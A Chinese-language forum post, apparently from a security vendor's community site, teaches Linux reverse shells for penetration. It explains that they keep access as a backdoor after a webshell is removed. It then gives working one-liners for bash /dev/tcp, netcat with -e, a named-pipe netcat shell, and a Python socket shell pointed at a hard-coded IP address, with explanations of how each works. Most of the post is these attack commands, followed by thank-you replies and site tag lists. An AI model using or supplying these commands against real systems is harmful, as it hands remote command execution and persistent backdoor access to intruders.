linux反弹shell知识
  

呱唧呱唧 61611人觉得有帮助

{{ttag.title}}
什么是shell

shell是渗透中常用的名词,像getshell,webshell,反弹shell等等,都和shell相关。
百度百科解释的shell:
在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。
简单说用户通过壳访问操作系统内核的服务,也就是由壳到内核,执行系统命令。
getshell:获取到目标的命令执行权限
webshell:指网站后门,通过web服务进行命令执行
反弹shell:把命令行的输入输出转移到其它主机

为什么要反弹shell

1、webshell下执行命令不交互,为了方便提权或其它操作必须要反弹shell。
2、反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。

常用linux反弹shell的方式

使用whereis命令去确定目标支持的反弹方法。

whereis nc bash python php exec lua perl ruby


bash反弹shell

bash反弹是实战中用的最多的方法

nc -lvp 9999bash -i >& /dev/tcp/ip/port 0>&1

把命令拆开分析:
1、bash -i代表在本地打开一个bash
2、/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
3、>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程vps
4、远程vps开启对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

nc反弹shell

需要目标主机安装了nc

nc ip port -e /bin/sh

使用其他版本的 nc

nc.traditional ip port -e /bin/sh

配合命名管道进行反弹:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f


python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.94.136.27",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,打印出来数值为3


0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程
接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。






打赏鼓励作者,期待更多好文!

打赏
暂无人打赏

新手589624 发表于 2021-12-5 10:52
  
登陆论坛学习网络知识
新手102463 发表于 2020-10-12 16:33
  
感谢分享
新手824378 发表于 2020-10-12 16:32
  
感谢分享
新手439305 发表于 2020-10-12 16:29
  
感谢分享
新手863391 发表于 2020-10-12 15:33
  
感谢分享
新手186144 发表于 2020-10-12 15:26
  
感谢分享
新手912522 发表于 2020-10-12 15:21
  
感谢分享
新手032448 发表于 2020-10-12 15:13
  
感谢分享
新手438737 发表于 2020-10-12 15:05
  
感谢分享
发表新帖
热门标签
全部标签>
新版本体验
每日一问
标准化排查
信服课堂视频
GIF动图学习
纪元平台
产品连连看
平台使用
社区新周刊
功能体验
安全效果
高手请过招
【 社区to talk】
答题自测
技术笔记
网络基础知识
云化安全能力
专家问答
安装部署配置
上网策略
2023技术争霸赛专题
每周精选
畅聊IT
技术圆桌
在线直播
MVP
升级
安全攻防
测试报告
日志审计
问题分析处理
流量管理
每日一记
运维工具
用户认证
原创分享
解决方案
sangfor周刊
VPN 对接
项目案例
SANGFOR资讯
专家分享
技术顾问
信服故事
SDP百科
功能咨询
终端接入
授权
设备维护
资源访问
地址转换
虚拟机
存储
迁移
排障笔记本
产品预警公告
玩转零信任
S豆商城资讯
技术争霸赛
「智能机器人」
追光者计划
卧龙计划
华北区拉练
天逸直播
以战代练
秒懂零信任
技术晨报
技术盲盒
山东区技术晨报
文档捉虫
齐鲁TV
华北区交付直播
2024年技术争霸赛
北京区每日一练
场景专题
故障笔记
排障那些事
西北区每日一问
升级&主动服务
高频问题集锦
POC测试案例
全能先锋系列
专家说
热门活动
产品动态
行业实践
产品解析
关键解决方案

本版达人

新手68983...

本周分享达人

零和一网络

本周提问达人